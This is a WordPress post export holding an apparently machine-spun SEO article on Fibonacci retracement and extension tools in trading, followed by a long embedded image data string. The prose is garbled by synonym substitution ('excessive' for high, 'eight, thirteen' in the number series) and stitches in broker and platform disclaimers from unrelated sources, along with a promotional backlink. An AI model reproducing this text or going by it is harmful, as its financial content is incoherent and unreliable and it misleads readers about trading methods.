{"id":2891,"date":"2025-08-18T07:37:29","date_gmt":"2025-08-18T07:37:29","guid":{"rendered":"https:\/\/dafaleague.com\/euro-pred-challenge\/en\/?p=2891"},"modified":"2025-09-05T10:10:29","modified_gmt":"2025-09-05T10:10:29","slug":"fibonacci-in-technical-evaluation-reversal-trend-2","status":"publish","type":"post","link":"https:\/\/www.dafaleague.com\/euro-pred-challenge\/en\/2025\/08\/18\/fibonacci-in-technical-evaluation-reversal-trend-2\/","title":{"rendered":"Fibonacci In Technical Evaluation: Reversal &#038; Trend Levels"},"content":{"rendered":"<p>If you want to be a good leverage trader, you want good trading schooling. Explore the variety of coaching materials obtainable in our learning section, such as our free webinars, workshops and how-to videos. As Soon As you\u2019ve opened an account, reside or demo, you presumably can put your information into follow. First, locate the Fibonacci extension device &#8211; it\u2019s in the identical section because the Fib retracement device if you\u2019re using the TradingView platform. Now let\u2019s take an instance of the way you may use the Fibonacci retracement tool on an OANDA platform. A swing high could have a latest high with two lower highs on the left and right of the excessive itself, while a swing low is a latest low with a minimum of two greater lows on both facet <a href=\"https:\/\/www.xcritical.in\/blog\/how-to-use-the-fibonacci-retracement-indicator\/\">fibonacci indicator<\/a> of the low itself.<\/p>\n<p>OANDA Company just isn&#8217;t party to any transactions in digital assets and does not custody digital property in your behalf. All digital asset transactions occur on the Paxos Trust Company trade. Any positions in digital assets are custodied solely with Paxos and held in an account in your name exterior of OANDA Corporation. Paxos isn&#8217;t an NFA member and is not topic to the NFA\u2019s regulatory oversight and examinations. The idea is that prices could retrace from their highs (using the same low to excessive example) and the retracement will cease at considered one of these ratios. The converging number of orders on the same Fibonacci ratio will amplify the response to the extent.<\/p>\n<h2>Fibonacci Pattern chartprime<\/h2>\n<p>Earlier Than we can perceive why these ratios were chosen, let&#8217;s evaluate the Fibonacci quantity collection. The &#8220;TradingFinder&#8221; platform offers various providers, a few of which, like introductions, are free, while others, corresponding to our specialised providers, are offered for a payment or via a subscription. We generate income through numerous strategies, which helps us convey facts transparently and never write biased content as a result of &#8220;dealer sponsorships,&#8221; &#8220;commissions from financial corporations,&#8221; and &#8220;ads.&#8221; Before deciding to commerce in any sort of financial market or monetary instruments, you should fastidiously think about your funding goals. Of course, this response does not at all times happen, as different factors also affect price, but this collective consideration typically leads to noticeable reactions at these ranges. The Fibonacci sequence is a collection of numbers where every number is the sum of the two preceding ones (0, 1, 1, 2, 3, 5, eight, thirteen, &#8230;).<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width=\"358px\" alt=\"fibonacci indicator\" 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IQSZELgkEEQ4IbZBUM7VZiQELgoEW0iEIBCUb5kRAlcFyr0tQAgIIiAEBJnaQiGEAEHZU7OEwBWEcm6LOiGAy1xol6Jc\/NrmCYEnBrbIty1AiHx6IR8\/FoSAYIvmbAFC5NILOfmtIAQEWzRnCxAij17Iy08FISDYojlbWBFi9CO7CekdIIOCIAyM7hOEQxOEDO2lS\/2j19BPV49NsrER9jzQzwLvGyCk5\/AYC9cv7U+D7qHfQGgoOu8RDo\/RYF+b4BMlmFUY9skpDJv0CNI2izD8K+g6duaQ2gu5+aWBEwK2gC1yZgsHQvT0KQs9hyaG9tKHc+ja78pWuKr+iI0uf2T30NXLY8wksuiOg9QfZLCf9PaP3j7GntR7\/miCT5RgFmH4J4cw0oRI26y+h31FL1uHpz+nkp5qY1TZS2PxPj6px96eCAFbQHmxhZoQ6qpQihX4d0gL\/ZIvyKjaCj38Zemam8ekv\/pJ0OePBx9kc\/4wDl39uWsn+EQJZhGmt580rGD3Pfw0rMPwr6A\/oHcAz0SurWASVRIpguztrz+y1oSALaAc20KThlDVlVWS070sycoX5KeMJZ5pqMNycvrz0nPb03fz2M0sDaykXemx+ePJAvcNsvCDA0PXTvCJEswqjCAlp23DsAld2WdzLP4VEiChPFvBGFXSFycWkdOJC0LAFlCObaHNZWo0puBPP0cM6e1zflka2rtn983yi4vm8Pwje1b\/nGXW\/hMbfnbP7jqqzMLsOSU\/2TZhXH3Pbnmxtw\/PRF6twJ9nY1TZeHDqsbddLhNsAeXWFrpyiHq+6+Q9Y\/yP7yBnuE7uN2a49vRLxKHvVdwKg7IVeBJGItI9Y3SBncsQTwFfO6EEswgjf7IN4+Z7+OZBZLjm2QpEeoB1UWVf\/V1J3kwcyiFgCyivtrCs7drDamuw1DRLTptW2pCtQF+XpDTJzWO9Qj3tyotBmEv20W+hC4cmGo9wr7qyhTEM\/+QQxs338M2otAErmESVyrsS06CHkmrYAsqZLZpvD\/HMGC45lGQrGKPKxrtSPfYOuj0EbAFlwhZoMQdl3QquhBZzEGxhYgsQAoIVCAgBwRamtgAhIFiBgBAQbGFqCxACghUICAHBFqa2ACEgWIGAEBBsYWoLEAKCFQgIAcEWprYAISBYgWgJ8e+YQAgItgAhIFhBtgIIAcEWBluAEBCsQLSE+JdMIAQEW4AQEKwgWwGEgGALgy1iIMQ\/3kEnf\/Wp3d\/\/1Kf++E76kc9P\/PWnvi5vgqA4rABCQLCFwRaRE4Ki4A42\/ePdhAx\/6wd8HZ3\/2deHv7X7+1\/H3YPisgIIAcEWBltEn4YY\/tYd7O9brGMoJc3wj3dwQvyvO3H3oLisAEJAsIXBFvEQ4m9\/MMwI8Vd\/LCHhr6Rcpu\/\/4G8\/9SmMfAXFYwUQAoItDLaIhRDD3\/oUK3tQAYLNTnzr\/\/nWnX\/2A9xAKBYrgBAQbGGwRTxpCDbdzcFw4q93K6D4n3ecACGg2KwAQkCwhcEWcZRUf+oHnBB\/RhMSX6eE4HOakqB\/yGWCYrMCCAHBFgZboD0EBCsQEAKCLUxtAUJAsAIBISDYwtQWIAQEKxAtIf49EwgBwRYgBAQryFZQE+JfghAQbAFCQLBC3QpIQ0CwhcEWIAQEKxAQAoItTG0BQkCwAgEhINjC1BYhEuK6m5y6WTrxcfTlGp169ji1NRnaO5BjK2gIcRcIAWVVMRHixMdLHAn1efdu5ePQC2x+XenMw\/eWSqXLH3uhVLqLbxt6Dn31Ba2bx2hML+zZzSfs4ivzayeUj5P72bxHODzWKwhC3+g+Qejn2yZ\/L1sNFpGGgKDmbBEcIa67nJy7QztXPp67i9x712MvPMzD0U\/vrgf77YdxvwLV5P7DY6SnjwwO8Aldo5orHwf7SW\/\/6O1jfA\/66Zp6sGfG8msFEALKh2IixL13sVhfNb+j\/vEcm9MFpqHf380JIW277i7cr2A1dPUYjfRphM8nhJD6fKD+cVDezjR51QQnhLStpz+\/VgAhoHwoJkLQFIGEA3n+iYfrH1m20uXnSqUzD3My0MUzu6Vtj30U9ytYMULQxEBPH5\/QFcr85rH6R5at1DcoCDS5wchAFw9NSNtGn82vFdSE+CgIAWVWCUlDUEIoH\/laCQk0CSEtSttAiKBlmYa4eaz+ka+VkECTENKitA2EQBoCyrriLIegAFAKH+69o76K5S09LJVLyHlN5+6SgiGXKWgxQjTKISgAlMKH3gGirCJk8p4xqVxCzmsa7JeCIZdJSUN8FISAMqo46zJRHCgVmCgClFWPvVC6gy2c2c1xcW+JrpaCoaQ6YE3uF4SBRl0migOlAhNFgLJqdJ8wwBYOTXBc9Ar1qk8oqeaEoIBAGgLKqhLSHuJEt3PNSdR2jU5D1044hslmbVfHSr6SFRqE+CglBNIQUFblyRZoMZcb5bbFnHMlX6InBHKZoOzKky3qhCiVSnRF9FOKLUwTNc2cFZwr+RIDIZKShgCioHhtEXu\/TCJuGBSaFTjynCv5EhACgi1MbRE3IUQBiIBCswKfOlfyJSAEBFuY2gKEgLJuBedKvgSEgGALU1vETAiRHhiIgEK1gnMlXwJCQLCFqS1iI4R0QBACCv0hc6WEEULw\/gsgKARbxEsIkYAQUEKsAEJAsIXBFgkgBBABJcEKIAQEWxhsESshRAJCQEmxAggBwRYGWySBEEAElAArqAhx6UffDEJAsEXMhBCVswUhoPitgDQEBFsYbAFCQLAC0RPi0ktBCAi2iJcQYuNsgQgodis0CEH5cOmlIAQEW4AQEKwgW0FNiHeBEBBsES8hRPXZAhFQ3FZoEOJd7\/rou94FQkCwBQgBwQqyFdSEeBcIAcEWsRJC1JwtCAHFbQUQAoItDLaIiRCCIMqj1cgHBiKgmK2QIEIIgqC1BwTFZIu4CCFu2QJCQEmyQoMQP80UKyG26OwBQTHZInJCyA++TIjGyxIQAcVrhQYhfoHpX8TY5bFCiIY9ICgeW8RECFGxwMUXXwxCQEmwQhIJUbcHBMVjCxACghWIlhBvetMvvOlNIAQEWySIEEAEFK8V1IR4EwgBwRbxEUIUQAgoYVZoEIJ\/ACEg2CJJhAAioFitAEJAsIXBFrEQQiQgBJQ0K4AQEGxhsAUIAcEKBISAYAtTW8RBCNHCAkAEFKMVQAgItjDYAoSAYAWiJ8QvgxAQbBETIURLCwARUHxWaBDil5lACAi2ACEgWEG2gpoQbwAhINgiHkKI1hYAIaD4rIA0BARbGGyRKEIAEVB8VgAhINjCYIuICaGMC6F0WglCQEmxQgIIUbeFuT0gKHJbRE2ILaKm43u9BYAIKC4rJIEQunEhQAgobltETQhxCwgBJdIKIAQEWxhsAUJAWbfC0F5hz246n9zP5j3C4bFeQRD6egS6OLpPEPolK4AQEGxhsEXEhBCdLABEQEFboaePDA7Q+WA\/6e0fvX2Mr+ztZx4ZGL1GDgpCQLCFiS1ACCjrVqBPPXUDt0JPXy9\/NSKTV03Q6c1jpoSIrdcNEAJKmi2iJYTobAEgAgrOCrxGEH1T4lZgSee+QYEmp6V3JTL6EZacPjQhWaFBiI8ygRAQbAFCQJm2Ap8qL0v8o+QL\/q5EnSBvJlpC\/Lt\/SQVCQLBFxIQQCQgBRW4FnuHKH\/7Je8boAv3PHn\/ZCSyVTUAICLYwtUXiCAFEQAFbgVfaoFagSecBtnBogvuC1dzo7xWkCh0gBARbmNkChICybgVXAiEg2MLEFlESQiQgBJRYK4AQEGxhsEXyCAFEQLFYAYSAYAuDLSIkhEhACCi5VgAhINjCYIsEEgKIgOKwAggBwRYGW0RHCNHeAugDHIrXCokmBDgBxWMLEAKCFQgIAcEWpraIjBCiBwsAEVD0VgAhINjCYAsQAoIVCAgBwRamtoiKEKInCwARUORWACEg2MJgCxACghUICAHBFqa2iIgQojcLgBBQ5FYAISDYwmCLZBICiIAitwIIAcEWBltEQwjRqwVACChqK4AQEGxhsEVCCQFEQFFbAYSAYAuDLSIhhOjdAiAEFLEVQAgItjDYAoSAYAUCQkCwhaktoiCE6McCQAQUrRVACAi2MNgChIBgBQJCQLCFqS0iIITozwJABBSpFUAICLYw2CI2QhCNBQQm1ZyAEFDEVkgUIRztAUGR2CIphJDXq4ZMEclwC5Q5DYMQPghhtAcEpZsQghkgPFhguEUsViqtUKZUqRSLEUIiuYQQQAgIhPBPiOGW15\/\/fx\/aCmVKDz3x7XNt1dboGAFCQFDCCSH6scBw8UXEp9nUE6uz1UpxOIFWACEgECIdhBh+HcmHzOr406snWyNCRPIJIYAQUK4JIfqwwHAFgMgyIl57fDYiRIAQEJRYQlx3050OhDjx8fNmFmhBFlOm9fKFXSdbW0AIEALKCSGuK5VuupNPpKUzD9MvPNG9+8THSzfto2uGXmBztl74+1LpKbZ4J52c2T209kETC7yOSDTbemX7alskiYj0EEIAIaDsEoKlBu6g03Ns8tgLD\/OzuO5yct3l4rnzbP1d5N77+fp\/2vmjLQJbvOteNiF\/\/hsmFnieRyMHf7iCe5ktrTx9kN\/aB+bmV1qLSbMCCAHlQ7HkMn3iYYYJxgYa7\/OzuPcOcu\/N5LpXCCfEda\/w9X\/+z1s4Ia67\/Lqb7qQhvnCziQWkTKYf4k5mT0\/zW3us48JqNYpEBAgBQc3ZIiBCPPbcnTTxcDn7eK4k5TJRZpz7DYkQj71QKr3C119TKpWeYouX86wm8k\/n5e4E1BaQyqmRgsigWvmtPVCYu6+tEhkhhvYKe3bT+eR+Nu8RDo\/10qeuj69WtiWUEIKJPfAUQRHaIhhCMEAQOflw7g6aQpAI8V\/vkgjBNt3P11\/zoy1\/\/woPSRfvvZw89lGtNbgFpMxq3MgsSrq3I2vzs5UIyqqlh6unjwwO0PlgP+ntH719jK\/s7eerlW3JJIR+PQgBRW2LQAghA4Kcu2vo93fz8gcpl+m\/Xk7OnaerCDn8yae+8Apd\/4V\/5oQY+v2HeWEEue4u2QLKyxIIkW1J93Z5o7TSGhkhevuZG7gVevroAtPkVRO98iLfFi8h9GkFfTiNPfAQQRHaIhBC3Fsqle66l9Vlojg48fHSmd28pFrkdZnoqsdeKP1oy5ZP0vX\/5b+XXttHF+8gvC4T+e2HdVa5+OIPghAZlnRvFzrX2yMhBI9X6dsQf9xH99FE9KBAk9PcHny1si1mQihpBAtCGHsDh6BobBFee4gT3f\/N0QJDcuKDNE2IXdP8PUuoVaTlbqGu7iguemW+c2GGn8P0zPLcbDNf1VU\/806n+xzlLwxG0r3d0bG9Pfo0BP8oPfv0XYkkKQ1hSQiDPUAIKFJbhNhi7r\/y5hF2FpDqyOosYEGITsFCfGt1WlmsScEjJURxqaY7qenOqu9vywUhdkZICJ6pyh5+MnnPGF2g\/1miOkHlECAEFKE82aJOiFKpRFcEORX5VJCmW+rrtwiakAYL+CLEVGN5J18RISEqU2Wz81qs+Pw+ECJgK\/CKGdQKNDk9wBYOTXBfJKguEwgBRShPtggvDSH6tIAvQjRiVWGKr4iOEEtlixMrL\/n7QhAiYCu4EggB5UUJ6ZcpLkKM8BVREaK4LFhr0Ve7YRAiHiuAEFA+lAxCSIAwNPkJiRC1mNIQbV2CnXb4QQQIEY8VYiCED3s4EAL8gIK1RdiE0HcbEBIhOuMph2g7IthrxMeXghDxWCEOQni3BwgBRWqLkAghCKKmiU\/dAvU43dICKarLVOwSnNTp\/VtBiHisECEh9C3gPNgDhIAitUVYhBC13QQ0Xo4E27P2S4hGe4g2aTkSQowIzpr3\/K0gRDxWiJIQW3zbA4SAIrVFVghBKp2UEUfmlIz\/KAgx7gIQwoznoggQIh4rgBBQPpQEQohbQiSEm8z9CAjRyNmSky9HWVPqWX3ruW1evxeEiMcKIASUD4EQJBJCTGmrLTV62ljVlF9Pe21dDULEYwUQAsqHEkAIUcg+IaqalnId6k2qRhLlmueCCBAiHiuAEFA+BEKQKAixoQbElHabUslpZs5H1xsgRDxWSA4hhlsMEqTpBz\/4QaHFTvZboSxqOFRbhEIIkSSMENWjyzP0lb88szhvWXBcPbp4ZIZnCx0prLuI2NXFDV36b21nRytYDZNXWS\/UpEPNLB6tuiZEcV3+Fct8J0tCFOenpK+fqU3dZ\/8jHp86wkpTpmtz\/nsaBCECJcRwS7FYqbTqJEhTRohWO9lvhbKnSqVY9AiJRBKiXusoHEI0tnYZCVEsqDKEyhtmjCiO65o21B53+I2z9lVaO2uWLJrXFWV3bXdFiIrmVxSKVoSYLWiyv6a1v1dDTnWBSdl3T4MgRPOEaNij5fXnX5SG4YUgRz30xLfPtVVbvTEidkKIZk2ABIezC48QJV3kP1My7F6aMekxw36QhzlV0AUPF2fVpBn2kVVnQlzQdRDY1WZKiGKnoSNBze9VE2JOG3TmLAgRNSH09hguv4hYD\/KmJ1Znq5XicEi2CJkQzmQInxDGvlfXtDtb9L5n3zdrQRVy3P21mXJuem1KCON+M2aEqNTMvn3NlBAFfbDpNhAiWkLo7TH8OpIPkGcdf3r1ZKsHRMRNCJGETAjNq7QzIZz6wrDufc+uKYNqp7LrRnHWPcEu2hNi0fbn1AlR6XL6vbbXpQZCxEqI4QoAAflBxGuPz3pARDoJQaIkhPqt365zJZvKRNN+MplsuukYsSNEp+COEDXH32t\/XXaCEHESogVZTJAvvXxh10n3hoqZECJJASHK3W5ibbv8I\/Oqrp22oOl0la4xEmJdcEeIbaofOFcllfF6TlS92Z79dVkGIWIkxPDriOogf3pl+2qb60QECOFMiMZ7\/5JtMMsG0VXzlIYtIXa5g5aBEMUZd4RoK+uLFBq5TlOuCCEUScgCIazt0fI8vzgHf7hCIMiVVp4+yB+aB+bmV1rdujdeQogWFnB57uEQglU9rY5rIlq5gmpR3bnSzBy9IKua2qJTFifa7YMQ6jygcucsIbOaikcKtAyE0EDsyHyFVHQVZmVCqEqzd8nf1a4coNxucl34d2kuyzwJWSCEtT2KUibTDxHvQe71NH9ojnVcWK26TUSAEEQXE87JDlTX3ilI69Qto5dlBq+qqFG2SESseifETvVpy9WGZtWFIJvSui47sijHmjMSQgW7Qv2ECjrUdRsvQdu0m1y1gARCWNpjuCiVUyMFAXlQK39oDhTm7murpIEQoo0F3Jx7GIRoxOCqMge5ApIqhm40jN6lerVfszrThjqcznJJf\/BGvVJ19CzH2HpCtJseqtNAiHWzpMB8PX1kuC5dSpglU9iFIxDC0h4tFdMHH4JcWGpkbX624tJSIATRxISqOpyqnHopFlUlBcqq1gBzpntrz9SkTMPqLI\/ybWXTzJx5FTekNXpCqE5GPdhETU+IjsZPUZ3ntDZQtyFlpSlTASFACChdkp6a5Y3SSmsKCCHaWcDNuYdACHUVzild4mBJMMmZ0WTYlC3OtMsQs1ufJY+cd1lQRxXTr+q+WYqvCyaROtFkWkmR\/4IxdaBeO6e\/LrvqYWZAiCQQohWEgPxaaqFzvR2EkOWtTbWmPdu8LsNG9a3r6u8r6KNtg9SVZHeanaVKfNO4Rc7Vmj6toSeEqpWdplCkrCOEw6DZBd11UbXE7gIhQIhIFULJV4QPcbKkWGp7Sgnh8ckJnhDqF2p1hgr\/FlVb5VmLo1l0rb1NXcRt3DxnSOdss4DRuN4t+ke9sTxjYQnpFMv2hFjQXRcQQmeFWAihEgjRlHJPiJ1pIIRoawE35x4yIYjuW0Z0L\/qKxh0JMS\/YVhJVJzGm9D9A85Xd7gnRZWGJbt1Ps8mPAyEsrQBCRKcgCFGqlYXpkZUYHuIItbpQFsr2HU2DEJLCSUNM+U5DEHUzAsP4EJoB6KQkw1zYaQgQojkrgBDRKQBCyBnB9f41M0mINRc\/KU2EEO0t4ObcoyuH6NR9q8dyCG1vqyM2G6elE\/BdDjESTDnEjO66gBA6KySZEKqazMZ+Iqf0WYnJlwtCWLb+l\/bYpjduFglx1DzKaNZSIARxU5dpTnsLvNZl0jRTEIRFjW\/HBUMmk7pirbe6TFOe6zIJ1uXlIISlFZJMCNVrhKDvlF7dLcCRlER9TRNClUivRf4QR6YZ\/WumV0vdPEZIj3B4TPpEyOR+4dBEfIQQHSzg5skJgRB27SFUI8V5bA+hHSFCMwpQUVujSe7vQt0bbBDtIRb0cf2UG4uAEJZWSDIh1M+a\/olcUj9soXesFdAFaJYQqlc7OWWdQUKs2hZ1Oltqcj9lw+jtY\/Inqt5+9h+EIC7aVMvRcc2sMEHdpnrD8lzb9aO+za3Qb6jeN6VdXzBxuac21erxThttqtXdhejbVBesLzAIYWmFJBOiZvbKIUsz5kh3OuK+pgkxbvjNGSREt+CmvMbGUkNXjzEiyJ+oevbs7h2IjRCikwXcPDlhEMJrv0xnXfTLxLRNcKEGDMz6ZWoLpV8mmyRpHgkxtFfYs5vwJDad80Q3m\/TS39s3uk8Q+iUrJJkQ0ybZlrLaTTLpE6+mCbGehzTEbJNpCM6FQYE98DIhJAt4skUuCCH37aoZIVqOjp36di3YnW2XC0Koco0d+natWcXXmmwEV327KqxTE2hnbgnR00cGB+h8kCWxeaKbTwhLdI9eo1ypJBNiVnO7tVXatOPTpiR2bJoQxVyUQ3Q1WQ7BCTHADCATgi709nmzRXCEENWmTBghjKp\/x5zLFICZ2qYdAaE+13n7oLss42snEslxfbVxOjMbrJ74iopAxp77ckMIms6mbuBW6OnjiW4p5U0mr5qImhCCL0LohpBSV7srap\/BxZwQAnWZ3BKCPvoyIejjPqgqh3Bpi5wSQlUs7XOMOa5dDu2YhVrR4jcYZTPG3C53hLCl3VwuCcFrcElvUfQViSad+3iiW0p5M0fQdYcmEk8IXX6mOmE7rnvg8kKIenuIuegf4ui0Zpqx6NZSk\/sFYWBoL33C+Sca88t1mbzYIjBCiM4WSBAhVM9lxd841XLcbZ+K2KFNGxbDHqfa+vtrJJeE4FPlZYl\/5L6QzEEdI29OOiEWde83qsKxZV2iNzeEIJu8TfVqDA9xhFodYW2qN4O1lCdb5IAQJpH4mnrftiNWz+KU8wm31Wxi7oI+87C4wyroctE2vp5yRwjL76\/nluW2HII\/95P3jPFEt5TylhPVg8knhP4lplG41a6\/09VURHweCeHmK9Evk0dCuLRFUIQQdRag+sJNdzrsdOLjd+jPPQRClPT+KuvaHFXM49XynJsfXuy0ymkqXzAJXXBmkemjvmHYpcssrrf4\/iOzJr7LV10mlrm6TxggPNEtpbyZOXoFqUJHxIQwi\/ZsCFEWrPKSDK8O8yQNAiGCtpTgRV5sEQghriuVvnLn0AulM7sZGEolhgbhRPfuEx\/nHwndROfXlc48rJsMPXdn+IToLmpT4keM\/WgsmcTyXWdd\/vpZ07yd8lTFNHRpxhh2puT8qOv366qYxfXm369Ky6A9hIUiIUTDniZfbE2IVcMdVZpEFA0J5CUQAmmIIG0RUBpCPHfHvXeRe+\/iyWeeNBCuu5zQ\/+dYKuEc2\/TYCw8TopuQ335Yd+5hEEITbU7PmdUbK87pIlb7rD+dqp16ox6Zq1iGHtelabrGXT3qxY2yNlfKnBCGn1IemTX3HQihtUIUhLAbNsWaEEct05w7DVs6UhGrgRBxWioWQnz84etuuvPeOyQLfILG+8K9d1AsMEhwQlx3OV0gRDch192lO3dLQjSn4niNRuLlmYJ1IrxtbnmGR\/QzRwrrFa8HaDtaqM2U5d2POmQGV48uSoeanlk86j7juDhf4IeYWdhosz+Z+k+pTc0nqx8GEMIHIYxNM5UmEcuGLSavT9WlBfbSMNM56+YcH586wp6d6dpcE0UaTocMmxDFeelXzNSWqtZ2mpIsW55ZnmtzsN76smS9ZXM\/ub7EZztrM9Ih14tGe0tX\/sjU4+FaKgZC\/H8vXC5lJXELPMbyjgSKCZqA4IR47IVS6fJzpdKZh3UT8thHdeceEiGghAiE8EGIRWPGodT+sd0kc1S\/szoTlPUvOW6b3F5VVdsoL6pelEbMGGSRjHU8ZACEMHyDmhAX1Gn6EdNY+\/ERbc7yzJI2xtbkSqhzoaeN+XjOv1dScU59XmVNcm92UX0+M+uG3xSgpWIghEiTBBQH917OLPBPUuECJYSShiBE2n7d5boJCJE3gRCWX2lNCJP62FKTiCmrUsiGNHmTrPaELSHmdNHm2fr3eCCE8yFDJoTuspSN0evsDqfSQBUhdOWY6nqHbn8vl6EosbHJUN9FPzRMygkhsowkXthw+JM\/+vuvSKXP994hlUMM\/f5uQoZ+\/2FeLqGbRJbLBCVEIIQPQpjUo5CaRJi1xtHUwygasqEKdoQw1IRr9CngmhBuDhkuIYyXS9cuicyZ1z9Ud+HfIMSRHbY5ea5+L1PBOrlnrHCfMUL8V1Z9iddlYoQolUos3qfxP6\/LRAnx2AulO9jCmd26iYeSagiEyCkhVs1iM1YVe6fZBk2XHCatdWZsCGFUzSshXB2ymRZz3Y6EMJF2EEjL1kWqLhBsG6muebzExLS1bH3jrJH02UtDGC1wonu3444eartCmRAI4Z0QqqpMNU3U3Xh7XTCNvex7lHHX\/cBOw1fZE8LVISMnhOa1v9MNSWwJoepHz93vNQ2nbDTr3i1bhLAYF+K6QFvMQZkQCOGdEKqqTJvqmLLddL2q8eWa0Dwhlg0xnC0h3B0yekII2+pfPO6KJPYd3Sx5u8Tm4ZSNZt0yJJAQpVLpoosu8jUVG5+FLV6\/AYQAIUAIW0IsquKUmooEU6oERSMuaQxV3VYOgBDKqHXuCOHykDEQot5Xp0OHzEddEWLZ2yU2jDam3mgKmQQS4iLfElWfuQU87Q1CgBAghC0hulQRU6P73mlVOfWSakzaxlDV9p15mROCDz8yrq50M++FEC4PGTohZuaqpHifZuR2JW2lLjAuF1ZZ6yH1z1UG+tUQYpEFU48dOePtEmvymMqL9xX5EC\/SxqqaWNMbs9IJgRAgBAgBQrgjRCNm6iDVxsKUOlu8YHjp1\/bIUWaRnG4QLRNCyP2Kq9+zxz0Qwu0hwyaEUh\/1grodg7RO3YRk+qwUrLJszEBSEaIsl8Wos6e8XWL1Qes1iFelC2k2yiVZ2sgQIdSAACEgECJgQqiqMs2Z1JmUXo87DVGoZtihaaUO7IYtIerZ5kv6\/A53hHB7yJAJ0ShvVkfq44aYXxmzixRVO9cMhKjHzst+f6\/qywxjkqkObWgPD0KAECAECOFACFUst07Ipkmk2a4JpMS5U2ZxoTqyMhKi3ptx1R8h3B4yXEKU2xvfsqDPZuoy+bXa8oRZ\/UnX++2Y8\/t7a9a\/VzXA7HQ1k4TQAAKEgECIgAnRqY28jCWyrNhUNQzhNmPkuKb6upoNIRqx3IwvQrg9ZLiEUA\/Bt6lLHBQN2U6SVEmzo7qr3ijYmff5e4vGAoy6lowlJSAECAFCgBCuCdGIm8ts0ThSCMsmV72KLhqil7I6LpyzIYRNd7+uCOH2kOG2qdZ85Yw2pu8WTEGizi\/apiNEl9kpefq93TYUUPF\/PpOE0AIChIBAiIAJ0aWNb6r6ipPSa2lZn5FuskYXXQVPCLeHDJcQml4EF7TfctT8rV99tE73hHD5e9dNc7YkFUxys0AIEAKEACHcEkJfkqkvq9ZXe5m22C8CQrg9ZISEGNF+y7jVkX0RwuXvHbf5uSN2vzIDhNABAoSAQIhgCaGKlqTuote1gJD68FPXs5HfRZGGYNKlIeaRhgAhMier7uZBiDwQQvUCKlfV13YiXTDENPP66AXlEPVjoxwiWkLoAQFCgBAgRLCEMEYh2rJqebjcbQaQ+KjL5JEQVf2eYdVl8kYIddSvSjNI3ZE0Xvvd1mWyIQTqMoEQSSXEEn0KpwvV1P0WEMIrIVQZ1fJgaZqy6prhIVFikw5VTpTL9hCuCFEzi367PR0y5PEh7NpD1ExzfOzaQ9gQwu3vzW17CAMgQIhoCFGUBzUpb4IQWSeEKuZTVpl0EqFuECG\/5Gsa\/J6Vg9m3qbYhhGok1HoEPKXf0+0hwyWERZvqdf3ZuGxTbUMIt783t22qoySEQ9eNjUcgAeq0uemBEGLR7HUJhMgkIYzRq3rkoLLy3lk1htN0GsT6qKuuO\/TLZEOITmMEXFJ9V9HTIUMmhNd+mYq2\/TLZEMLt781rv0xGQMRKiCAi43QQYtOiuA2EyB4hus2epRmT+182pDW89+1qQwj16\/LMOOXS6qJJzB9S365eCSH37aoZtcdl367TRS+EcPt7NQfV9u1azHDfrskiRLktN4RQlUrOgBDZJoSxfIGo3zs3zQwi9yFXnQ6QEEXbkRCU6NflIUMnhFH1TH6HIR2WiBdCuP29+RwfwgQQzROCyR8hOpMTDYZNiE5784AQGSJEpzHyUuVaqKrhjxizW5cCJIT963I9s9PdIWMgxJwZc20yItwRwu3vzcIYc8kgBHFRYGeumWJ+CLGGNERuCKGK+Bu1Zepl1Q1oqGPwNZOdmyaE3dhsBdPzTRIh1D7ssDm\/okdC5Gic6rQT4miCosGwCWHV7Ceow4SYMAEhPBJC9dyrKkPKZdXqKv3bjHk+2iJY5RnySQiys+wcr7o8ZLiEMIlwd2jeHwuWP6SNeCWEu99Lw41Y42N2OpOEMANEfIRYSBAgUlqXCYRIICHUvVWr189oUaC9fcuN3Q2RYce4X0KQkgUiapoSQDeHDJcQnYYMsUVdBsOG+Q9ZLhLPhHD3e0251NjYdgSECJkQyar1GToh6u0hSgGeNQiRQELsEkxjGzlPqd08Rj2iWr2kidbLc8Q\/IcisWY55uVOfv+t8yJAJQea0Z7Bk2Hv1iPGHTC+Ze9iBEK5+r0TYGStCkGJnOXOEMAVEbIToSBIgwicEXcfbVM8GedaZJcTQXmHPbjqf3M\/mPcLhMT4Z3ScI\/cq2pBJiSfUirF7frk0rEE2DCM0hKouNyKdrljRDCEI29Ywomz2DjocMmxBkdkfjDBdNXaL\/JTNzReKTEC5+r8yBOU37CU2kNbuoZsTMeviEcGmL1BBCr3kN\/hNUTB0NIUJQZgnR00cGB+h8sJ\/09o\/ePkaINLlGtS3BvX83rcrSAnt7nVl8PIgvW5+qzfDIbHpmeeO+KA7pS48v8hNYWKpY\/5LCkRn5h8w1WVXe9e8921ljAcszy+v6OKs4XzjCCDJ9ZMrTVfNLCJe28EsIc0BESAhNmmKJJEogRICPczOSfkhvP3viuRV6+ugCXyNbQdmWZUJAmZZfQri0RVoJoalfXEvYPQMhAnycm5H0U+jbEH\/cWfq5b1CgKWk+oYuHJpRtIASUUvkghBdb+CSEBSAiI4S2CnF3wu4ZCBHg49yMtC9L\/CN\/9hUD9PYjDQGlXM2mIRxskVJCaGqOTZkGKc7LGaZl52zG4voyDzqzPF+0\/C5eglSbus\/5DjgSwul41Q1+uOkjU2y7F0K0bSxI32zMgD3bWaNcLdeWLApt7AlRPboo59oeKaxXInycm5Eqw3XyqglCJu8Zows9fXxCWAI7D+UQUKbVVDmEsy38EcIKEFERQltMbTZKwuMj2upjM0s2VRXU1dWmjWUaswXNd01vOJWLmxDCy\/FW1dUspi+4rH3CI3l1fbqyhk6lI9rafyPaahI2TT6piuO6qmQ1XVmartLFfIFjKiGE4BUzqBVo+nmALRya4JNega5Oel0mCAqJEC5tERAheOSgI8SNH3b6mlvnb\/NHCE1NtTnjdlVltwYjShaE0LeKXNYCwFBVWf9VXgnhdDx9y5opt4QwVPJubKpoL8iRWU+E0FfkZtoxa0mIevCEEMKVQiWEcjVACCgxhHBpC1+E0APi1lKp9M9bPln6MCcEm7OVZygB5I8lNr+xdOY2acK2XXTR5m0X3fphX4SYcyimnjNv\/Llo2mTyiIEmmnfvilkrIe0o6AbZEsLheG3G4824I4Sxc7D6prP6Zv3lne4JYdavgKBrh6QmxDa7zKqcEkImAwgBBa40EOLGm+ij\/\/evXDR\/G40WvsDmfCX7zz\/OX3nRjVfeKqHhNg4PSg+Oihtv82EUbZe7xvG\/LXuhrBXNInHb+L9i0VKv0zch7I\/XNmMX0I4QJv2RKZt2GYlZnnZLiDbLtorbTAnRKYAQloSwqwYAQkAZIYQhj+lWToj7GREuEm68ks9p5H+R8pER4ia6cNFFfHLrPEtDsCwmu